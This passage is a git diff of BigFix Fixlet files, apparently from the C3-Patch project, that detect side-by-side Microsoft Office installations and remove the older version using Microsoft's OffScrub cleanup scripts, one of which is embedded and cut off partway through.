diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes
index e502dd9ef..cd421485f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows
-  ID       : 23734
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-10T06:24:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2013 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
-
-waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
-
-waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows
+  ID       : 23734
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-10T06:24:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2013 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes
index 2b44cbebb..f01be8e96 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows
-  ID       : 23735
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-10T06:24:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
-
-waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
-
-waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows
+  ID       : 23735
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-10T06:24:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes
index fa95ba613..a23634a3d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes	
@@ -1,4134 +1,4134 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows
-  ID       : 23818
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-14T09:32:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet detects an Office 2013 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2013 Installation.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
-
-createfile until _end_
-'=======================================================================================================
-' Name: OffScrub_O15msi.vbs
-' Author: Microsoft Customer Support Services
-' Copyright (c) 2011-2015 Microsoft Corporation
-' Script to remove (scrub) Office 2013 MSI products
-' when a regular uninstall is no longer possible
-'=======================================================================================================
-Option Explicit
-
-Dim sDefault
-'=======================================================================================================
-'[INI] Section for script behavior customizations
-
-'Pre-configure the SKU's to remove.
-'Only for use without command line parameters
-'Example: sDefault = "CLIENTALL"
-sDefault = ""
-
-'DO NOT CUSTOMIZE BELOW THIS LINE!
-'=======================================================================================================
-
-
-Const SCRIPTVERSION = "1.99"
-Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
-Const SCRIPTNAME    = "OffScrub_O15msi"
-Const OVERSION      = "15.0"
-Const OVERSIONMAJOR = "15"
-Const OREF          = "Office15"
-Const OREGREF       = "OFFICE15."
-Const ONAME         = "Office 2013 MSI"
-Const OPACKAGE      = "PackageRefs"
-Const OFFICEID      = "000000FF1CE}"
-Const HKCR          = &H80000000
-Const HKCU          = &H80000001
-Const HKLM          = &H80000002
-Const HKU           = &H80000003
-Const FOR_WRITING   = 2
-Const PRODLEN       = 12
-Const COMPPERMANENT = "00000000000000000000000000000000"
-Const UNCOMPRESSED  = 38
-Const SQUISHED      = 20
-Const COMPRESSED    = 32
-Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
-Const VB_YES        = 6
-Const MSIOPENDATABASEREADONLY = 0
-Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
-
-
-'=======================================================================================================
-Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
-Dim ComputerItem, Item, LogStream, TmpKey
-Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
-Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
-Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
-Dim f64, fLegacyProductFound, fCScript
-Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
-Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
-Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
-Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
-Dim iVersionNT
-
-'=======================================================================================================
-'Main
-'=======================================================================================================
-'Configure defaults
-Dim sLogDir : sLogDir = ""
-Dim sMoveMessage: sMoveMessage = ""
-Dim fRemoveOse      : fRemoveOse = False
-Dim fRemoveOspp     : fRemoveOspp = False
-Dim fRemoveAll      : fRemoveAll = False
-Dim fRemoveC2R      : fRemoveC2R = False
-Dim fRemoveAppV     : fRemoveAppV = False
-Dim fRemoveCSuites  : fRemoveCSuites = False
-Dim fRemoveCSingle  : fRemoveCSingle = False
-Dim fRemoveSrv      : fRemoveSrv = False
-Dim fRemoveLync     : fRemoveLync = False
-Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
-Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
-Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
-Dim fDetectOnly     : fDetectOnly = False
-Dim fQuiet          : fQuiet = True
-Dim fBasic          : fBasic = False
-Dim fNoCancel       : fNoCancel = False
-Dim fPassive        : fPassive = True
-Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
-Dim fNoElevate      : fNoElevate = False
-Dim fElevated       : fElevated = False
-Dim fTryReconcile   : fTryReconcile = False
-Dim fC2rInstalled   : fC2rInstalled = False
-'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
-Dim fForce          : fForce = False
-'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
-Dim fLogInitialized : fLogInitialized = False
-Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
-Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
-Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
-Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
-Dim fRebootRequired : fRebootRequired = False
-
-'Create required objects
-Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
-Set oWShell     = CreateObject("Wscript.Shell")
-Set oShellApp   = CreateObject("Shell.Application")
-Set oFso        = CreateObject("Scripting.FileSystemObject")
-Set oMsi        = CreateObject("WindowsInstaller.Installer")
-Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
-
-'Get environment path info
-sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
-sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
-sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
-sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
-RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
-If NOT oFso.FolderExists(sProfilesDirectory) Then
-    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
-End If
-sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
-'Deferred until after architecture check
-'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
-
-sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
-'Deferred until after architecture check
-'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
-
-sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
-sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
-sWICacheDir         = sWinDir & "\" & "Installer"
-sScrubDir           = sTemp & "\" & SCRIPTNAME
-sScriptDir          = wscript.ScriptFullName
-sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
-
-' Get current script host
-fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
-
-'Detect if we're running on a 64 bit OS
-Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
-For Each Item In ComputerItem
-    f64 = Instr(Left(Item.SystemType,3),"64") > 0
-    If f64 Then Exit For
-Next
-If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
-If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
-
-'Get OS details and VersionNT
-Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
-For Each Item in ComputerItem
-    sOSinfo = sOSinfo & Item.Caption
-    sOSinfo = sOSinfo & Item.OtherTypeDescription
-    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
-    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
-    sOsVersion = Item.Version
-    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
-    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
-    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
-Next
-
-'Build the VersionNT number
-arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
-iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
-
-'Check if we're running as 32 bit process on a 64 bit OS
-If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
-
-fElevated = CheckRegPermissions
-If NOT fElevated AND NOT fNoElevate Then
-    'Try to relaunch elevated
-    RelaunchElevated
-
-    'Can't relaunch. Exit out
-    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
-        If Not fLogInitialized Then CreateLog
-        Log "Insufficient registry access permissions - exiting"
-    End If
-    'Undo temporary entries created in ARP
-    TmpKeyCleanUp
-    wscript.quit 3
-End If
-
-'Create Dictionaries
-Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
-Set dicInstalledSku = CreateObject("Scripting.Dictionary")
-Set dicRemoveSku = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
-Set dicApps = CreateObject("Scripting.Dictionary")
-Set dicDelRegKey = CreateObject("Scripting.Dictionary")
-Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
-Set dicSrv = CreateObject("Scripting.Dictionary")
-Set dicCSuite = CreateObject("Scripting.Dictionary")
-Set dicCSingle = CreateObject("Scripting.Dictionary")
-
-'Create the temp folder
-If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
-
-'Set the default logging directory
-sLogDir = sScrubDir
-
-'Call the command line parser
-ParseCmdLine
-
-'Ensure CScript as engine
-If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
-
-'Get Office Install Folder
-If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
-    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
-End If
-
-'Ensure integrity of WI metadata which could fail used APIs otherwise
-EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
-EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
-EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
-EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
-EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
-
-'Add initial known .exe files that might need to be closed
-dicApps.Add "communicator.exe", "communicator.exe"
-dicApps.Add "setup.exe", "setup.exe"
-Select Case OVERSIONMAJOR
-Case "12"
-Case "14"
-    dicApps.Add "bcssync.exe","bcssync.exe"
-    dicApps.Add "officesas.exe","officesas.exe"
-    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
-    dicApps.Add "msosync.exe","msosync.exe"
-    dicApps.Add "onenotem.exe","onenotem.exe"
-Case "15"
-Case Else
-End Select
-
-'-------------------
-'Stage # 0 - Basics |
-'-------------------
-'Build a list with installed/registered Office products
-sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-
-FindInstalledOProducts
-If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
-
-'Validate the list of products we got from the command line if applicable
-ValidateRemoveSkuList
-
-'Log detection results
-If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
-sMode = "Selected " & ONAME & " products"
-If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
-If fRemoveAll Then sMode = "All " & ONAME & " products"
-Log "Final removal mode: " & sMode
-Log "Remove OSE service: " & fRemoveOse &vbCrLf
-
-'Log preview mode if applicable
-If fDetectOnly Then Log "*************************************************************************"
-If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
-If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
-If fDetectOnly Then Log "*************************************************************************" & vbCrLf
-
-'Check if there are legacy products installed
-CheckForLegacyProducts
-If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
-
-'Cache .msi files
-If dicRemoveSku.Count > 0 Then CacheMsiFiles
-
-'Log Sku/Prod detection results
-LogSkuResults
-
-'UnPin Shortcuts
-If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
-    On Error Resume Next
-    Log " Searching for pinned shortcuts"
-    CleanShortcuts sAllUsersProfile, False, True
-    CleanShortcuts sProfilesDirectory, False, True
-    On Error Goto 0
-End If 'NOT SkipSD
-
-
-'--------------------------------
-'Stage # 1 - Component Detection |
-'--------------------------------
-sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage1 OR fForce Then
-    'Build a list with files which are installed/registered to a product that's going to be removed
